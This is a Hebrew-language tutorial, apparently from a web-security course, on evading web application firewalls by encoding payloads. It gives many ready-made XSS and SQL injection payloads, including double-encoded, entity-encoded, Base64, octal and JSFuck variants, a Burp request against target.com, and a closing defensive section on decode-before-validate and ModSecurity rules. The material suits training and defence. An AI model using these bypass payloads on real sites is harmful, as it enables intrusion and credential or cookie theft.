לדלג לתוכן

עקיפה באמצעות קידוד - Encoding-based WAF Bypass

הרעיון המרכזי

רוב ה-WAFs מחפשים דפוסים בצורה הגולמית של הבקשה. אם נקודד את המטען הזדוני בשיטת קידוד שה-WAF לא מפענח אך השרת כן - נעקוף את ההגנה. הטריק הוא למצוא פער בין מה שה-WAF רואה למה שהאפליקציה מעבדת.


קידוד URL - URL Encoding

קידוד URL בודד - Single URL Encoding

קידוד רגיל של תווים למבנה %XX לפי ערך ה-hex שלהם ב-ASCII:

< = %3C
> = %3E
' = %27
" = %22
( = %28
) = %29
/ = %2F
  = %20

דוגמאות:

# מטען XSS מקורי
<script>alert(1)</script>

# עם קידוד URL
%3Cscript%3Ealert(1)%3C%2Fscript%3E

# קידוד חלקי - רק תווים מסוימים
%3Cscript%3Ealert(1)%3C/script%3E
# מטען SQLi מקורי
' UNION SELECT username, password FROM users--

# עם קידוד URL
%27%20UNION%20SELECT%20username%2C%20password%20FROM%20users--

רוב ה-WAFs מפענחים קידוד URL בודד, אז טכניקה זו לבדה לרוב לא מספיקה.

קידוד URL כפול - Double URL Encoding

כאשר השרת מבצע שני שלבי פענוח (למשל, reverse proxy שמפענח ואז השרת מפענח שוב), אפשר לקודד פעמיים:

# שלב 1: < הופך ל-%3C
# שלב 2: % הופך ל-%25, אז %3C הופך ל-%253C

# מטען XSS בקידוד כפול
%253Cscript%253Ealert(1)%253C%252Fscript%253E

# WAF רואה: %3Cscript%3E (לא מזהה כמטען)
# שרת מפענח שלב 1: %3Cscript%3E
# שרת מפענח שלב 2: <script>alert(1)</script>
# SQLi בקידוד כפול
1%2527%2520UNION%2520SELECT%25201--

# WAF רואה: 1%27%20UNION%20SELECT%201--
# שרת מפענח: 1' UNION SELECT 1--

קידוד חלקי - Partial Encoding

קידוד רק חלק מהתווים כדי לשבור את הדפוס שה-WAF מחפש:

# WAF מחפש: <script>
# נקודד רק חלק מהמילה

<%73cript>alert(1)</script>     # קידוד 's'
<scr%69pt>alert(1)</script>     # קידוד 'i'
<script>a%6cert(1)</script>     # קידוד 'l' בתוך alert

קידוד Unicode - Unicode Encoding

רצפי Unicode Escape

בהקשרים של JavaScript, אפשר להשתמש ברצפי Unicode:

// מקורי
alert(1)

// עם Unicode escapes
\u0061\u006c\u0065\u0072\u0074(1)

// חלקי
al\u0065rt(1)

// בתוך מחרוזת
eval('\u0061lert(1)')

קידוד UTF-8 ארוך - Overlong UTF-8 Encoding

ב-UTF-8, תווי ASCII (0x00-0x7F) מיוצגים בבית אחד. אבל אפשר לייצג אותם בצורה ארוכה יותר (לא חוקית לפי הסטנדרט, אך חלק מהפרסרים מקבלים):

# התו < (0x3C) ב-UTF-8 רגיל: 0x3C (בית אחד)
# בייצוג ארוך של 2 בתים: 0xC0 0xBC
# בייצוג ארוך של 3 בתים: 0xE0 0x80 0xBC

# דוגמה בבקשת HTTP (hex)
GET /?q=%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE

תווי Unicode ברוחב מלא - Full-width Characters

תווי Unicode יפניים ברוחב מלא נראים דומה לתווי ASCII רגילים:

# תווים רגילים -> תווים ברוחב מלא
< -> < (U+FF1C)
> -> > (U+FF1E)
( -> ( (U+FF08)
) -> ) (U+FF09)
' -> ' (U+FF07)

# מטען XSS עם תווים ברוחב מלא
<script>alert(1)</script>

# אם האפליקציה מנרמלת (NFKC), התווים יהפכו לתווים רגילים

ניצול נורמליזציית Unicode

import unicodedata

# הדגמה - תווים שונים שמתנרמלים לאותו דבר
payloads = [
    "<script>",           # תווים ברוחב מלא
    "\uff1cscript\uff1e",   # אותו דבר ב-escape
]

for p in payloads:
    normalized = unicodedata.normalize('NFKC', p)
    print(f"מקורי: {p}")
    print(f"לאחר NFKC: {normalized}")
    print()

# פלט:
# מקורי: <script>
# לאחר NFKC: <script>

קידוד Hex

ישויות HTML בהקסדצימלי - HTML Hex Entities

<!-- מקורי -->
<script>alert(1)</script>

<!-- עם ישויות hex -->
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;

<!-- עם אפסים מובילים (padding) -->
&#x003c;script&#x003e;alert(1)&#x003c;/script&#x003e;

<!-- עם נקודה-פסיק אופציונלית (בחלק מהדפדפנים) -->
&#x3cscript&#x3ealert(1)&#x3c/script&#x3e

קידוד Hex ב-JavaScript

// מקורי
alert(1)

// עם hex escapes
\x61\x6c\x65\x72\x74(1)

// בתוך מחרוזת
eval("\x61\x6c\x65\x72\x74\x28\x31\x29")

// ניתן לשלב עם קידוד רגיל
\x61lert(1)

ישויות HTML בעשרוני - Decimal HTML Entities

<!-- מקורי -->
<script>alert(1)</script>

<!-- עם ישויות עשרוניות -->
&#60;script&#62;alert(1)&#60;/script&#62;

<!-- עם אפסים מובילים -->
&#0000060;script&#0000062;alert(1)&#0000060;/script&#0000062;

<!-- ערבוב hex ו-decimal -->
&#x3c;script&#62;alert(1)&#x3c;/script&#62;

קידוד ישויות HTML - HTML Entity Encoding

ישויות בשם - Named Entities

<!-- רלוונטי בעיקר בהקשר של HTML attributes -->
<img src=x onerror="&#97;lert(1)">

<!-- ישויות נפוצות -->
&lt;    = <
&gt;    = >
&amp;   = &
&quot;  = "
&apos;  = '

<!-- שימוש בתוך attribute -->
<a href="javascript:&lt;script&gt;alert(1)&lt;/script&gt;">click</a>

ישויות עם אפסים מובילים - Zero-padded Entities

<!-- הדפדפן מפענח ישויות עם אפסים מובילים -->
&#0000060;     = <  (עם 5 אפסים)
&#00060;       = <  (עם 3 אפסים)
&#060;         = <  (עם אפס אחד)

<!-- מטען עם אפסים -->
&#0000060;script&#0000062;alert(1)&#0000060;/script&#0000062;

<!-- WAF לא תמיד יודע לפענח ישויות עם אפסים -->

שרשראות קידוד - Mixed Encoding Chains

הטכניקה החזקה ביותר - שילוב מספר שכבות קידוד:

# שכבה 1: קידוד HTML entities בתוך attribute
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;1&#41;">

# שכבה 2: קידוד URL של ה-HTML entities
<img src=x onerror="%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B1%26%2341%3B">

# שכבה 3: קידוד URL כפול
%3Cimg%20src%3Dx%20onerror%3D%22%2526%252397%253B%2526%2523108%253B%2526%2523101%253B%2526%2523114%253B%2526%2523116%253B%2526%252340%253B1%2526%252341%253B%22%3E

שרשרת קידוד לעקיפת SQLi

# מטען מקורי
' UNION SELECT password FROM users--

# שלב 1: hex encode של מחרוזות
' UNION SELECT password FROM users--
-> ' UNION SELECT 0x70617373776f7264 FROM users--

# שלב 2: קידוד URL של הגרש והרווחים
%27%20UNION%20SELECT%200x70617373776f7264%20FROM%20users--

# שלב 3: קידוד URL כפול אם רלוונטי
%2527%2520UNION%2520SELECT%25200x70617373776f7264%2520FROM%2520users--

קידוד Base64 בהקשרים ספציפיים

// שימוש ב-atob לפענוח Base64
eval(atob('YWxlcnQoMSk='))
// atob('YWxlcnQoMSk=') = 'alert(1)'

// דרך Function constructor
new Function(atob('YWxlcnQoMSk='))()

// דרך location
location='javascript:'+atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')
// atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==') = 'alert(document.cookie)'

קידוד אוקטלי ב-JavaScript

// מקורי
alert(1)

// אוקטלי בתוך מחרוזת
eval('\141\154\145\162\164\50\61\51')
// \141 = a, \154 = l, \145 = e, \162 = r, \164 = t, \50 = (, \61 = 1, \51 = )

// שילוב עם תווים רגילים
eval('\141lert(1)')
<!-- בהקשר של HTML attributes -->
<img src=x onerror="eval('\141\154\145\162\164\50\61\51')">

JSFuck וקוד JavaScript לא אלפאנומרי

JSFuck הוא שיטה לכתוב כל קוד JavaScript עם 6 תווים בלבד: []()!+

// alert(1) ב-JSFuck
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]
[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]
+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+
[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][](<#>)+[])[+!+[]]+(![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][](<#>)+[])[+[]]+([]
[(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+
[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+
[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]
+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]
)()

// הקוד הזה לגמרי תקין וירוץ כ-alert(1)
// WAF כמעט בטוח לא יזהה את זה

טכניקות נוספות של JavaScript לא אלפאנומרי:

// שימוש ב-constructor chain
[]['constructor']['constructor']('alert(1)')()

// עם קידוד
[][[]+[]][0]['constructor']('alert(1)')()

שימוש ב-Burp Hackvertor לשרשראות קידוד

תוסף Hackvertor של Burp Suite מאפשר בניית שרשראות קידוד בקלות:

# תחביר Hackvertor - תגיות מקוננות
<@urlencode><@hex_entities><script>alert(1)</script><@/hex_entities><@/urlencode>

# קידוד URL כפול
<@urlencode><@urlencode>' UNION SELECT 1--<@/urlencode><@/urlencode>

# Base64 ואז URL encode
<@urlencode><@base64>alert(document.cookie)<@/base64><@/urlencode>

# שרשרת מורכבת
<@urlencode><@html_entities><@unicode_escapes>alert(1)<@/unicode_escapes><@/html_entities><@/urlencode>

דוגמה מעשית עם Burp Repeater

POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

q=<@urlencode_all><script>alert(document.cookie)</script><@/urlencode_all>

התוסף יקודד אוטומטית לפני שליחת הבקשה:

POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e

מטענים מוכנים לעקיפה באמצעות קידוד

מטעני XSS

<!-- קידוד URL כפול -->
%253Csvg%2520onload%253Dalert(1)%253E

<!-- ישויות HTML מעורבות -->
<img src=x onerror="&#x61;&#108;&#x65;&#114;&#x74;(1)">

<!-- Unicode escapes בתוך JavaScript -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

<!-- Base64 עם eval -->
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

<!-- אוקטלי -->
<img src=x onerror="eval('\141\154\145\162\164\50\61\51')">

מטעני SQLi

-- קידוד hex של מחרוזות
1' UNION SELECT 0x61646d696e, 0x70617373776f7264--

-- קידוד URL כפול של גרש ורווחים
1%2527%2520UNION%2520SELECT%25201--

-- שילוב CHAR() לבניית מחרוזות
1' UNION SELECT CHAR(97,100,109,105,110)--

-- קידוד Unicode של תווים קריטיים
1\u0027 UNION SELECT 1--

הגנה - Decode Before Validate

העיקרון המרכזי בהגנה נגד עקיפות קידוד:

# הגנה נכונה - פענוח לפני בדיקה
import urllib.parse
import html

def sanitize_input(user_input):
    # שלב 1: פענוח URL (כולל כפול)
    decoded = urllib.parse.unquote(user_input)
    prev = None
    while decoded != prev:
        prev = decoded
        decoded = urllib.parse.unquote(decoded)

    # שלב 2: פענוח ישויות HTML
    decoded = html.unescape(decoded)

    # שלב 3: נורמליזציית Unicode
    import unicodedata
    decoded = unicodedata.normalize('NFKC', decoded)

    # שלב 4: בדיקה על הצורה המפוענחת (canonical form)
    if is_malicious(decoded):
        raise SecurityException("Blocked!")

    return decoded
# חוקת ModSecurity נכונה - עם טרנספורמציות
SecRule ARGS "@rx <script>" \
    "id:1001,\
    phase:2,\
    deny,\
    t:urlDecode,\
    t:urlDecode,\
    t:htmlEntityDecode,\
    t:lowercase,\
    t:compressWhitespace"

הנקודה הקריטית: WAF שלא מבצע decode מספיק שכבות - פגיע לעקיפה באמצעות קידוד.


סיכום

עקיפה באמצעות קידוד היא מהטכניקות הבסיסיות אך עדיין יעילות ביותר. המפתח הוא למצוא את הפער בין מה שה-WAF מפענח לבין מה שהאפליקציה מפענחת. שרשראות קידוד מורכבות, שילוב של שיטות קידוד שונות, וקידוד חלקי - כולם כלים בארגז הכלים שלנו. בתרגיל הבא נתרגל טכניקות אלו מול כללי ModSecurity CRS.